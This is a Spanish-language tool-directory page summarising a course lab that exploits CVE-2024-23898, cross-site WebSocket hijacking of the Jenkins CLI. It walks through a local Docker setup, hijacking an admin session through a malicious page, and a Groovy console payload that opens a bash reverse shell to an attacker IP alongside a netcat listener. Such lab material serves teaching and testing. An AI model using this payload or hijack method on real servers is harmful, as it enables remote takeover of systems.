Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE2_Jenkins_RCE — Una prueba de concepto de exploit de secuestro de WebSocket entre sitios (cross-site WebSocket hijacking) para CVE-2024-23898 — una vulnerabilidad que afecta a las versiones de Jenkins 2.217-2.441. Para uso educativo en el curso Hacking & Offensive Security de la Universidad Carnegie Mellon. | Kitploit
Herramientas/GitHubGitHub/davidmgaviria/cve2_jenkins_rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubdavidmgaviria/cve2_jenkins_rce

CVE2_Jenkins_RCE

Ver Repositorio
22hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Una prueba de concepto de exploit de secuestro de WebSocket entre sitios (cross-site WebSocket hijacking) para CVE-2024-23898 — una vulnerabilidad que afecta a las versiones de Jenkins 2.217-2.441. Para uso educativo en el curso Hacking & Offensive Security de la Universidad Carnegie Mellon.

Compartir

Secuestro de WebSocket de Jenkins CLI - PoC

Una prueba de concepto de explotación de secuestro de WebSocket entre sitios para CVE-2024-23898 — una vulnerabilidad que afecta a las versiones de Jenkins 2.217-2.441.

Este exploit ataca la CLI de Jenkins, que se puede utilizar para acceder de forma remota y enviar comandos a un servidor de control de Jenkins. Mediante este exploit, un atacante remoto puede obtener acceso y establecer una puerta trasera persistente en un servidor de control de Jenkins si se engaña a un administrador para que visite un sitio malicioso mientras está conectado al servidor de control de Jenkins objetivo.


DESCARGO DE RESPONSABILIDAD

Este código está destinado únicamente a fines educativos y al uso exclusivo del curso Hacking & Offensive Security de la Universidad Carnegie Mellon. Este código no debe ser utilizado como arma ni emplearse para crear malware. Los autores condenan explícitamente cualquier intento de hacerlo.


Configuración de Jenkins

  • Ejecute "docker-compose build && docker-compose up -d"
  • Navegue a http://localhost:8080, se le solicitará una contraseña de administrador
  • Abra una shell en el contenedor docker de Jenkins (NO EN EL DE POSTGRES)
    • "docker exec -it <container_id> bash"
    • Use cd para ir al directorio que se muestra en la página de Jenkins y obtenga la contraseña
  • Configure una cuenta de administrador básica (recuerde la contraseña) e instale los complementos predeterminados -Configure a los usuarios anónimos con permisos básicos yendo a Administrar Jenkins > Seguridad
  • Establezca el tipo de autorización en "Matrix-based"
  • Permita que los usuarios anónimos lean "Overall" y "Job"

Realización del secuestro de WebSocket

  • Abra Firefox, vaya a Configuración > Seguridad y Privacidad
    • Establezca Privacidad del navegador en Personalizada y desactive las Cookies "off" (esto hace que Firefox permita todas las cookies)
  • Vaya a Jenkins, inicie sesión como administrador, asegurándose de hacer clic en "Mantenerme conectado"
  • Ejecute evilApp.py, visitando http://localhost:5000
    • Vaya a Red y pulse Actualizar
    • Haga clic en el paquete con el archivo "ws" y vaya a Respuesta; debería ver que dice "Authenticated as: admin""
      • También puede revisar "Cookies" para ver la cookie remember-me

Ejecución de una shell inversa

  • En la terminal de su máquina, inicie un listener de netcat con nc -l <port_num> (reemplace <port_num> con cualquier número de puerto sin usar)
  • Debe obtener la dirección IP de su computadora tal como la ve Docker. En Mac puede encontrarla con el comando ipconfig getifaddr en0
  • Asumiendo que su servidor Jenkins está en ejecución, vaya a [http://localhost:8080/script](http://localhost:8080/script). Inicie sesión con la cuenta de administrador si aún no lo ha hecho.
  • Pegue y ejecute este payload en la consola de scripts de Groovy: ['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
  • Vuelva a la terminal con el listener de netcat. Debería estar en el sistema de archivos del servidor Jenkins y poder hacer cualquier cosa que pueda hacer el usuario administrador.
Descargar herramienta